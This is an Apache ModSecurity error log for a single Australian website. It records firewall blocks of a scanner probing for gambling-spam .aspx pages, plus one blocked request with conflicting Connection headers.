[Mon Mar 02 03:37:26.755889 2026] [:error] [pid 53182:tid 53565] [client 51.77.216.124:60696] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "aaSVdvv073cA6eM1YCQYkgAAANU"]
[Mon Mar 02 03:37:29.266160 2026] [:error] [pid 26940:tid 26961] [client 51.77.216.124:60710] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aaSVeRrUg-j5GLDtRFk-fwAAAFE"]
[Mon Mar 02 03:37:31.613622 2026] [:error] [pid 53181:tid 53521] [client 51.77.216.124:60722] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aaSVe4r_0T1SazTrJOB1dQAAAQY"]
[Mon Mar 02 03:37:34.099201 2026] [:error] [pid 26940:tid 26957] [client 51.77.216.124:60736] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aaSVfhrUg-j5GLDtRFk-pgAAAE0"]
[Mon Mar 02 03:37:36.520835 2026] [:error] [pid 26940:tid 26968] [client 51.77.216.124:60744] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aaSVgBrUg-j5GLDtRFk-wwAAAFg"]
[Mon Mar 02 03:37:38.811745 2026] [:error] [pid 53181:tid 53526] [client 51.77.216.124:40534] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aaSVgor_0T1SazTrJOB1kgAAAQs"]
[Mon Mar 02 03:37:41.165015 2026] [:error] [pid 53585:tid 53592] [client 51.77.216.124:40544] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "aaSVhXbCvYsvu6kKhM0FiAAAAAQ"]
[Mon Mar 02 03:37:43.799784 2026] [:error] [pid 26940:tid 26954] [client 51.77.216.124:40546] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aaSVhxrUg-j5GLDtRFk_GQAAAEo"]
[Mon Mar 02 03:37:46.306688 2026] [:error] [pid 26940:tid 26957] [client 51.77.216.124:40550] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aaSVihrUg-j5GLDtRFk_OQAAAE0"]
[Mon Mar 02 03:37:48.938654 2026] [:error] [pid 26940:tid 26949] [client 51.77.216.124:49076] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aaSVjBrUg-j5GLDtRFk_YQAAAEU"]
[Mon Mar 02 03:37:51.540914 2026] [:error] [pid 53585:tid 53599] [client 51.77.216.124:49088] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aaSVj3bCvYsvu6kKhM0FnwAAAAs"]
[Mon Mar 02 03:38:13.501845 2026] [:error] [pid 53182:tid 53544] [client 51.77.216.124:49104] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aaSVpfv073cA6eM1YCQZOwAAAME"]
[Mon Mar 02 03:38:15.963204 2026] [:error] [pid 53182:tid 53562] [client 51.77.216.124:36672] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aaSVp_v073cA6eM1YCQZRAAAANI"]
[Mon Mar 02 03:38:18.556505 2026] [:error] [pid 53181:tid 53531] [client 51.77.216.124:49968] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aaSVqor_0T1SazTrJOB18QAAARA"]
[Mon Mar 02 03:38:20.874414 2026] [:error] [pid 53182:tid 53549] [client 51.77.216.124:49976] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aaSVrPv073cA6eM1YCQZVQAAAMY"]
[Mon Mar 02 03:38:23.204466 2026] [:error] [pid 53182:tid 53551] [client 51.77.216.124:49978] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "aaSVr_v073cA6eM1YCQZVwAAAMg"]
[Mon Mar 02 03:38:25.457249 2026] [:error] [pid 26940:tid 26945] [client 51.77.216.124:49984] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "aaSVsRrUg-j5GLDtRFlAwAAAAEE"]
[Mon Mar 02 03:38:27.901893 2026] [:error] [pid 26940:tid 26952] [client 51.77.216.124:35546] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "aaSVsxrUg-j5GLDtRFlAzAAAAEg"]
[Mon Mar 02 03:38:30.290989 2026] [:error] [pid 53585:tid 53610] [client 51.77.216.124:35550] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aaSVtnbCvYsvu6kKhM0GJwAAABY"]
[Mon Mar 02 03:38:32.797882 2026] [:error] [pid 53180:tid 53467] [client 51.77.216.124:35566] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aaSVuDPPJpDOBvYnaa2EMwAAAZc"]
[Mon Mar 02 03:38:35.379703 2026] [:error] [pid 53585:tid 53602] [client 51.77.216.124:35570] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "aaSVu3bCvYsvu6kKhM0GOQAAAA4"]
[Mon Mar 02 03:38:37.747600 2026] [:error] [pid 53585:tid 53598] [client 51.77.216.124:51596] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aaSVvXbCvYsvu6kKhM0GSQAAAAo"]
[Mon Mar 02 03:38:40.269891 2026] [:error] [pid 53182:tid 53552] [client 51.77.216.124:51610] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aaSVwPv073cA6eM1YCQZcAAAAMk"]
[Mon Mar 02 03:38:42.796885 2026] [:error] [pid 53181:tid 53516] [client 51.77.216.124:51626] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "aaSVwor_0T1SazTrJOB2NgAAAQI"]
[Mon Mar 02 03:38:45.184333 2026] [:error] [pid 26940:tid 26962] [client 51.77.216.124:51642] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aaSVxRrUg-j5GLDtRFlA_gAAAFI"]
[Mon Mar 02 03:38:47.726305 2026] [:error] [pid 53585:tid 53608] [client 51.77.216.124:56962] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aaSVx3bCvYsvu6kKhM0GhgAAABQ"]
[Mon Mar 02 03:38:50.106175 2026] [:error] [pid 26940:tid 26966] [client 51.77.216.124:56978] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aaSVyhrUg-j5GLDtRFlBHgAAAFY"]
[Mon Mar 02 03:38:52.433462 2026] [:error] [pid 26940:tid 26956] [client 51.77.216.124:56988] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aaSVzBrUg-j5GLDtRFlBKQAAAEw"]
[Mon Mar 02 03:38:54.947051 2026] [:error] [pid 53182:tid 53561] [client 51.77.216.124:56994] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aaSVzvv073cA6eM1YCQZhgAAANE"]
[Mon Mar 02 03:38:57.461107 2026] [:error] [pid 26940:tid 26948] [client 51.77.216.124:57282] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aaSV0RrUg-j5GLDtRFlBPAAAAEQ"]
[Mon Mar 02 03:38:59.974050 2026] [:error] [pid 53182:tid 53546] [client 51.77.216.124:57288] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aaSV0_v073cA6eM1YCQZmAAAAMM"]
[Mon Mar 02 03:39:02.473621 2026] [:error] [pid 53585:tid 53610] [client 51.77.216.124:57300] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aaSV1nbCvYsvu6kKhM0GpQAAABY"]
[Mon Mar 02 03:39:04.977467 2026] [:error] [pid 53182:tid 53559] [client 51.77.216.124:57306] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aaSV2Pv073cA6eM1YCQZvgAAAM8"]
[Mon Mar 02 03:39:07.482454 2026] [:error] [pid 53181:tid 53526] [client 51.77.216.124:44638] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aaSV24r_0T1SazTrJOB2WwAAAQs"]
[Mon Mar 02 03:39:09.982736 2026] [:error] [pid 53181:tid 53529] [client 51.77.216.124:44652] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aaSV3Yr_0T1SazTrJOB2XQAAAQ4"]
[Mon Mar 02 03:39:31.254100 2026] [:error] [pid 26940:tid 26954] [client 51.77.216.124:44664] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aaSV8xrUg-j5GLDtRFlBugAAAEo"]
[Mon Mar 02 03:39:33.701960 2026] [:error] [pid 26940:tid 26957] [client 51.77.216.124:47964] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aaSV9RrUg-j5GLDtRFlBygAAAE0"]
[Mon Mar 02 03:39:36.204729 2026] [:error] [pid 53182:tid 53551] [client 51.77.216.124:47980] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aaSV-Pv073cA6eM1YCQaEQAAAMg"]
[Mon Mar 02 03:39:38.678695 2026] [:error] [pid 53585:tid 53611] [client 51.77.216.124:58990] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aaSV-nbCvYsvu6kKhM0G6QAAABc"]
[Mon Mar 02 03:39:41.198401 2026] [:error] [pid 53181:tid 53519] [client 51.77.216.124:59006] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aaSV_Yr_0T1SazTrJOB2igAAAQU"]
[Mon Mar 02 03:39:43.709141 2026] [:error] [pid 53181:tid 53522] [client 51.77.216.124:59010] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aaSV_4r_0T1SazTrJOB2kAAAAQc"]
[Mon Mar 02 03:39:46.186082 2026] [:error] [pid 53180:tid 53465] [client 51.77.216.124:59014] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aaSWAjPPJpDOBvYnaa2EhQAAAZU"]
[Mon Mar 02 03:39:48.518496 2026] [:error] [pid 53181:tid 53522] [client 51.77.216.124:35876] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aaSWBIr_0T1SazTrJOB2ngAAAQc"]
[Mon Mar 02 03:39:51.033180 2026] [:error] [pid 53182:tid 53544] [client 51.77.216.124:35884] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aaSWB_v073cA6eM1YCQaMwAAAME"]
[Mon Mar 02 03:39:53.518082 2026] [:error] [pid 53181:tid 53537] [client 51.77.216.124:35890] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aaSWCYr_0T1SazTrJOB2pAAAARY"]
[Mon Mar 02 03:39:55.849100 2026] [:error] [pid 53585:tid 53592] [client 51.77.216.124:35902] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aaSWC3bCvYsvu6kKhM0HIQAAAAQ"]
[Mon Mar 02 03:39:58.340009 2026] [:error] [pid 26940:tid 26955] [client 51.77.216.124:45866] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aaSWDhrUg-j5GLDtRFlCNwAAAEs"]
[Mon Mar 02 03:40:00.839087 2026] [:error] [pid 26940:tid 26954] [client 51.77.216.124:45876] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aaSWEBrUg-j5GLDtRFlCPgAAAEo"]
[Mon Mar 02 03:40:03.156597 2026] [:error] [pid 26940:tid 26951] [client 51.77.216.124:45892] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aaSWExrUg-j5GLDtRFlCSwAAAEc"]
[Mon Mar 02 03:40:05.654239 2026] [:error] [pid 53585:tid 53595] [client 51.77.216.124:45904] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aaSWFXbCvYsvu6kKhM0HXgAAAAc"]
[Mon Mar 02 03:40:07.969085 2026] [:error] [pid 26940:tid 26966] [client 51.77.216.124:57182] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aaSWFxrUg-j5GLDtRFlCWAAAAFY"]
[Mon Mar 02 03:40:10.476510 2026] [:error] [pid 26940:tid 26963] [client 51.77.216.124:57190] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aaSWGhrUg-j5GLDtRFlCZgAAAFM"]
[Mon Mar 02 03:40:12.958120 2026] [:error] [pid 53181:tid 53525] [client 51.77.216.124:57194] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aaSWHIr_0T1SazTrJOB2ugAAAQo"]
[Mon Mar 02 03:51:08.293487 2026] [:error] [pid 62033:tid 62035] [client 43.157.43.147:36578] [client 43.157.43.147] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aaSYrGt1AZs_Rh_7SVZ8WwAAAMA"]
